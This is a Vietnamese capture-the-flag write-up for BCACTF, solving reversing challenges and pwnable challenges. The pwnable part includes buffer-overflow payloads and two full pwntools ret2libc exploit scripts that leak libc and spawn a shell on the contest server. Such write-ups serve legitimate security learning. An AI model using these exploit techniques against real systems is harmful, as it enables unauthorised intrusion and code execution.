Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com
Reversing
Mochi Nishi
A Fun Game
Challenge
File: Game.exe
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/aFunGame$ file Game.exe Game.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Mình dùng dnSpy để dịch bài này
Việc của mình là đảo ngược lại chuỗi và ta sẽ ra flag.
script.py
string = "}sr3tte1_0001_epYt_yl1aUtca_tNd1d_U0y_yl1uf3p0h{ftcacb"[::-1]print(string)
bcactf{h0p3fu1ly_y0U_d1dNt_actUa1ly_tYpe_1000_1ett3rs}
Storytime The Opening Gambit
Challenge
File: story
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story$ file story story: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ccea544c84172f60a939819e4416fdd108982090, for GNU/Linux 3.2.0, not stripped
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story$ strings story /lib64/ld-linux-x86-64.so.2libc.so.6nanosleepputs__stack_chk_fail__cxa_finalize__libc_start_mainGLIBC_2.4GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableu+UHdH34%([]A\A]A^A_bcactf{w0ol_m4k3s_str1ng_ziv4mk3ca91b}Baa, baa, black sheep,Have you any wool?Yes sir, yes sir,Three bags full.One for the master,One for the dame,And one for the little boyWho lives down the laneDid you know? I almost used "Little Miss Muffet" for this problem.Spiders make string too, kind of.:*3$"GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.8060__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrymain.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTableputs@@GLIBC_2.2.5_edatasleepNanos__stack_chk_fail@@GLIBC_2.4nanosleep@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init__bss_startmain__TMC_END___ITM_registerTMCloneTable__cxa_finalize@@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.data.bss.comment
bcactf{w0ol_m4k3s_str1ng_ziv4mk3ca91b}
Storytime The Shocking Conclusion
Challenge
File: story3
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story3$ file story3 story3: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5210af9f7161e4d6b1c076ac4c8a88b15055ee1a, for GNU/Linux 3.2.0, not stripped
Mình check thử IDA thì mình thấy có điều kì lạ:
Không có một hàm gì liên quan đến flag cả. Lúc này mình mới nghi ngờ rằng có một hàm trong chương trình được viết nhưng không được chạy. Mình kiểm tra các Entry points
thử:
Mình vào thử hàm được bôi xanh, và đúng như mình dự đoán, đây có thể là flag:
Mình dịch hàm này thử thì thấy là hàm đã truyền vào 60 tham số tương ứng với 60 kí tự trong flag. Và sau đó thực hiện phép biến đổi dựa trên số phút trên máy tính. Lúc này mình sẽ viết script để chạy từ 0 đến 59, tương ứng với số phút, và mã hoá các đoạn kí tự này lại và kiểm tra một trong số chung có là flag không:
File input: abc
script.py
leak = [int(i[i.find('dd')+3:].strip()[:-1], 16) for i in open("abc").readlines()]for num in range(0, 60): cou = 0 for i in leak: val = ((i >> num) - num * cou + 21) & 127 cou += 1 print(chr(val), end = "") print()
Kiểm tra các kết quả:
bcactf{h1dd3n_c0d3_1s_h1dd3n_2c8d}
Storytime The Tragic Interlude
Challenge
File: story2
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story2$ file story2 story2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1e3cbcc533556d3e4ce1edb0848a21cef1b10365, for GNU/Linux 3.2.0, not stripped
Bài này tuy không hiện flag, nhưng có 1 chỗ khá đáng nghi:
Sau đó mình viết script thử để kiểm tra
script.py
v6 = [0 for i in range(50)]v6[36] = 179;v6[14] = 180;v6[6] = 235;v6[13] = 207;v6[3] = 193;v6[10] = 213;v6[30] = 154;v6[26] = 57;v6[15] = 73;v6[12] = 72;v6[20] = 64;v6[4] = 224;v6[5] = 194;v6[23] = 174;v6[29] = 55;v6[35] = 166;v6[8] = 192;v6[7] = 218;v6[33] = 151;v6[25] = 61;v6[17] = 157;v6[16] = 196;v6[28] = 182;v6[24] = 143;v6[2] = 191;v6[19] = 190;v6[21] = 165;v6[0] = 197;v6[32] = 34;v6[11] = 169;v6[31] = 137;v6[1] = 196;v6[18] = 165;v6[9] = 87;v6[22] = 52;v6[27] = 151;v6[34] = 126;a = ""for i in range(37): a += (chr((v6[i] >> 1) + i))print(a)
bcactf{th4t_0th3r_dr4g0n_76fw8kc1lav}
Trailblazer
Challenge
File: trailblazer
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/trailblazer$ file trailblazer trailblazer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=010143a71b685bdeff46ec988c73c1f2a752faa2, for GNU/Linux 3.2.0, not stripped
Vô IDA kiểm tra thử:
Ta thấy hàm check_flag()
cùng với một điều kiện của input
là độ dài của input
phải bằng 47.Ta xem thử hàm check_flag()
thì hàm này không thể decompile được. Mình đành đọc assembly + debug để xem chuyện gì đã xảy ra. Thì mình có 1 vài phát hiện thú vị về hàm perms:
Hàm _mprotect()
khi tra trên google:
Tóm tắt ngắn gọn thì hàm này sẽ chỉnh sửa quyền truy cập của một vùng memory pages nào đó. Ở trong bài này, hàm sẽ chỉnh sửa quyền truy cập ở đoạn này:
Thêm vào đó, hàm truyền vào tham số 7, nghĩa là ở đoạn code trên, ta có quyền vừa chỉnh sửa, vừa thực hiện chương trình trên đoạn code này.Với đoạn input ở trên, ta có thể suy nghĩ rằng: flag chính là đoạn input này bởi vì từng kí tự trong input sẽ thay đổi đoạn chương trình này bằng các xor các opcodes đã có sẵn trong chương trình với input, sẽ tạo ra các instructions hợp lệ.Lấy ví dụ ở bài này, mình sẽ bật opcodes trong IDA để có thể dễ hình dung:
Đầu tiên, mình sẽ để input là bcactf{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}
, đủ 47 kí tự, và sau đó mình debug:
Có thể thấy rõ rằng các opcode phía sau phép xor
đều là các opcode rác. Ta thử step next để xem chuyện gì xảy ra:
Ta sửa lại opcode để hiện rõ các instructions:
À, bây giờ mọi thứ có vẻ đã đúng hướng:
Bởi vì ta muốn xor các input của ta với opcode rác trong đoạn chương trình đó để tạo thành các instructions hợp lệ, ta 2 instructions mới với các instructions trên thì ta thấy rằng xor [rax+7], rdx
cần phải chuyển thành xor [rax+8], rdx
, ta thử assemble đoạn code này thành opcode để xem opcode mình cần tìm là gì.
Từ đây, mình mới tìm các instructions phù hợp tiếp theo để tìm flag:
Ta sẽ thử lấy đoạn opcode này xor với các đoạn opcode rác để xem coi kết quả có phải là flag không
script.py
opcodes = bytes.fromhex('488B530848315008488B531048315010488B531848315018488B532048315020488B532848315028')garbage_opcodes = bytes.fromhex('2AE8326B3C572B6627FC0C642050246317E33C6F17483F6D17E93F4132540F4117FF2149215D0F11')from pwn import *print(xor(opcodes, garbage_opcodes))# Result: b'bcactf{now_thats_how_you_blaze_a_trail_9'
Mình còn 1 đoạn flag cuối cùng nữa, dựa vào hint của đề bài:
Vậy những đoạn instructions cuối cùng sẽ ra return 0, sao cho opcodes phải đủ 7 bytes.
Một hồi loanh hoanh tìm thì mình cũng có kết quả:
Ta viết thêm vào trong script nữa sẽ có kết quả hoàn chỉnh:
script.py
opcodes = bytes.fromhex('488B530848315008488B531048315010488B531848315018488B532048315020488B532848315028')garbage_opcodes = bytes.fromhex('2AE8326B3C572B6627FC0C642050246317E33C6F17483F6D17E93F4132540F4117FF2149215D0F11')from pwn import *print(xor(opcodes, garbage_opcodes))
bcactf{now_thats_how_you_blaze_a_trail_9fd43x8}
Wait, this isn't C 2 (The Sequel)
Challenge
File: flag_checker_2
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/waitThisIsn'tC2$ file flag_checker_2 flag_checker_2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=23f8256773b016d463a1f8fd482288fa13fec173, for GNU/Linux 3.2.0, not stripped
Như bài trước, đây cũng được viết bằng ngôn ngữ fortran. Mình xem sơ qua thì thấy có vẻ mệt hơn bài đầu =((Check sơ sơ thì thấy có một vài nơi thú vị, mình sẽ tóm tắt qua hình (lưu ý rằng mình sẽ không đi vào quá chi tiết những đoạn này):
Bây giờ ta cần dịch ngược về input. Để ý ở đây có đoạn nhân ma trận. Gọi F
là ma trận vừa dịch chuyển, A
là ma trận đề cho, F1
là kết quả, thì ta có: A . F = F1
Ta đã có A
và F1
, muốn tìm lại F
ta sẽ có công thức: F = (A^-1) . F1
. Và từ đó ta sẽ dịch ngược lại ra input.
script.cpp
#include<bits/stdc++.h>using namespace std;int b[10][10], f[10][10], a1[10][10], flag[10][10], k[10][10], a[10][10];void init() { a[0][0] = 1; a[0][1] = 2; a[0][2] = 4; a[0][3] = 7; a[0][4] = 0xb; a[1][0] = 2; a[1][1] = 3; a[1][2] = 5; a[1][3] = 8; a[1][4] = 0xc; a[2][0] = 4; a[2][1] = 5; a[2][2] = 6; a[2][3] = 9; a[2][4] = 0xd; a[03][0] = 7; a[03][1] = 8; a[03][2] = 9; a[03][3] = 0xa; a[03][4] = 0xe; a[04][0] = 0xb; a[04][1] = 0xc; a[04][2] = 0xd; a[04][3] = 0xe; a[04][4] = 0xf; flag[0][0] = 0xac0; flag[0][1] = 0x779; flag[0][2] = 0xa43; flag[0][3] = 0x859; flag[0][4] = 0x982; flag[1][0] = 0xcda; flag[1][1] = 0x92c; flag[1][2] = 0xc10; flag[1][3] = 0x9d5; flag[1][4] = 0xb5e; flag[2][0] = 0xfc9; flag[2][1] = 0xba1; flag[2][2] = 0xe65; flag[2][3] = 0xbc2; flag[2][4] = 0xdfc; flag[03][0] = 0x1465; flag[03][1] = 0xf9e; flag[03][2] = 0x120c; flag[03][3] = 0xf08; flag[03][4] = 0x1200; flag[04][0] = 0x1b6e; flag[04][1] = 0x15c2; flag[04][2] = 0x17de; flag[04][3] = 0x13d5; flag[04][4] = 0x183b;}void mulMatrix() { memset(k, 0, sizeof(k)); for (int i=0; i<5; i++) for (int j=0; j<5; j++) { for (int num=0; num<5; num++) k[i][j] += (float)a[i][num] * f[num][j]; }}void encryption() { string s; cin >> s; int num = 0; for (int i=0; i<5; i++) for (int j=0; j<5; j++) { if (i + j != 0) b[i][j] = (int)s[num]; num++; } for (int i = 1; i <= 5; ++i ) { for (int j = -2; j <= 2; ++j ) b[j + 2][i - 1] += j * i; } for (int i=0; i<5; i++) for (int j=0; j<5; j++) { f[i][j] = b[i][(j + 2) % 5]; } mulMatrix() for (int i=0; i<5; i++) { for (int j=0; j<5; j++) cout << k[i][j] << " "; cout << endl; } cout << endl;}int main(){ init(); /* here is the input of a[][] array: 93 89 89 0 94 120 105 47 115 100 108 99 101 116 82 100 86 106 54 97 117 56 118 97 103 */ for (int i=0; i<5; i++) for (int j=0; j<5; j++) cin >> a[i][j]; for (int i=0; i<5; i++) for (int j=0; j<5; j++) { int num = 0; if (j - 2 < 0) num = j + 3; else num = j - 2; flag[i][j] = a[i][num]; } for (int i = 1; i <= 5; ++i ) { for (int j = -2; j <= 2; ++j ) flag[j + 2][i - 1] -= j * i; } for (int i=0; i<5; i++) { for (int j=0; j<5; j++) cout << (char)flag[i][j]; } cout << endl;}
bcactf{m4tRlce5_aRe_co0l}
Wait, this isn't C
Challenge
File: flag_checker_1
Solve:
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/waitThisIsn'tC$ file flag_checker_1 flag_checker_1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=44db315a94752488b3ace72816fef8393c9db3fd, for GNU/Linux 3.2.0, not stripped
Sau khi bỏ vào IDA thì mình nhận ra đây là ngôn ngữ Fortran, trước giờ chưa reverse nên mình vừa làm bài này vừa đọc tài liệu tham khảo.
Trong quá trình làm, mình thấy có đoạn này là đoạn chính:
Một hồi debug thì mình hiểu rằng chương trình đã kiểm tra bằng cách tại vị trí i
, kí tự thứ i - 1
được cộng lên i
đơn vị. Vậy là mình viết script để giải bài này
File input: abc
script.py
leak = [int(i[i.find('db') + 3:].strip()[:-1], 16) for i in open("abc").readlines() if i[i.find('db') + 3:].strip() != '0']for i in range(len(leak)): leak[i] -= (i + 1) print(chr(leak[i]), end = "")
bcactf{f0rtr4N_i5_c0oO0l}
Pwnable
pivik
BCA Mart
Có lỗi tràn số nguyên trong hàm purchase, vậy mình chỉ cần làm cho biến amount lớn hơn 2,147,483,647 thì nó sẽ trở về số âm. Các bước thực hiện
Honors ABCs
gets(response) => bof
Nếu grade > 100 thì sẽ in flag
Biến response nằm ở rbp-0x50
Còn grade nằm ở rbp-4, vậy mình cần 0x50 - 0x4 = 76 bytes rác + 1 byte ghi đè biến grade. Lưu ý là 76 bytes rác đó không được bắt đầu bằng a vì correct cũng bắt đầu bằng
Và grade sẽ được gán bằng i 4 = 0 nên mình sẽ không thể điều khiển biến grade được. Vậy thay vì phần padding là 76 chữ a, mình có thể thay bằng 76 chữ b => Payload: 'b'76 + 'e'
AP ABCs
Tương tự bài trên => Payload: b'b'*76 + p64(0x73434241)
American Literature
Có lỗi format string. Bài này thì hướng giải như 1 bài ở giải DCTF mà mình đã viết wu rồi. Các bạn tham khảo lại bài này nhé: https://github.com/pivikk/CTF/tree/main/DCTF/Readme
Math Analysis
overflow về hàm cheat()
Advanced Math Analysis
khá giống bài trên, chỉ khác là lần này chương trình sẽ có 1 đoạn so sánh chuỗi ta nhập vào với "i pledge to not cheat". Hàm strcmp chỉ so sánh tới null byte nhưng gets thì không bị terminate khi gặp null byte nên ta có thể dễ dàng bypass đoạn check đó. Payload:
Discrete Mathematics
Chỉ bật mỗi NX + thêm bof => ret2libc thần chưởng :vĐầu tiên thì ta cần leak libc ra trước, từ đó tính toán libc base, có libc base rồi thì sẽ dễ dàng tính được địa chỉ của /bin/sh với system. Để leak được libc thì ta sẽ tận dụng hàm puts. Đầu tiên cần truyền tham số cho hàm puts là puts@got, hay nói cách khác là gọi puts("puts@got") để nó in ra địa chỉ hàm puts trong libc. Sau đó lấy địa chỉ vừa mới leak ra trừ đi offset của hàm puts sẽ được libc base. Payload dùng để leak:
Chạy đoạn exploit trên ta được:
Địa chỉ của hàm puts đã được leak. Sau đó lên https://libc.blukat.me/ để tra libc.
Thường thì bây giờ các bản libc trên server đều từ 2.27 trở lên (trừ 1 vài bài heap), nên mình sẽ tải file libc 2.31 về. Có libc rồi thì sẽ tính được địa chỉ của system với /bin/sh.Exploit code:
from pwn import *elf = ELF('./discrete')libc = ELF('./libc.so')p = remote('bin.bcactf.com', 49160)pop_rdi = 0x00000000004017a3ret = 0x000000000040101apayload = b'i will get an A'payload += b'\x00'payload += b'a'*56payload += p64(pop_rdi)payload += p64(elf.got['puts'])payload += p64(elf.sym['puts'])payload += p64(elf.sym['main'])p.sendline(payload)p.recvuntil('luck.\n')leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))log.info('leaked puts: ' + hex(leaked_puts))libc_base = leaked_puts - libc.sym['puts']system = libc_base + libc.sym['system']bin_sh = libc_base + next(libc.search(b'/bin/sh'))p.recv()payload = b'i will get an A'payload += b'\x00'payload += b'a'*56payload += p64(pop_rdi)payload += p64(bin_sh)payload += p64(ret) # Stack alignmentpayload += p64(system)p.sendline(payload)p.interactive()
Computer Security
Bài này mình cũng dùng kỹ thuật ret2libc như bài trên.Exploit code:
from pwn import *elf = ELF('./notesearch')libc = ELF('./libc.so')p = remote('bin.bcactf.com', 49159)pop_rdi = 0x0000000000401703ret = 0x000000000040101ap.recv()payload = b'a'*120payload += p64(pop_rdi)payload += p64(elf.got['puts'])payload += p64(elf.sym['puts'])payload += p64(elf.sym['main'])p.sendline(payload)p.recvuntil(']-------\n')leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))libc_base = leaked_puts - libc.sym['puts']system = libc_base + libc.sym['system']bin_sh = libc_base + next(libc.search(b'/bin/sh'))p.recv()payload = b'a'*120payload += p64(pop_rdi)payload += p64(bin_sh)payload += p64(ret)payload += p64(system)p.sendline(payload)p.interactive()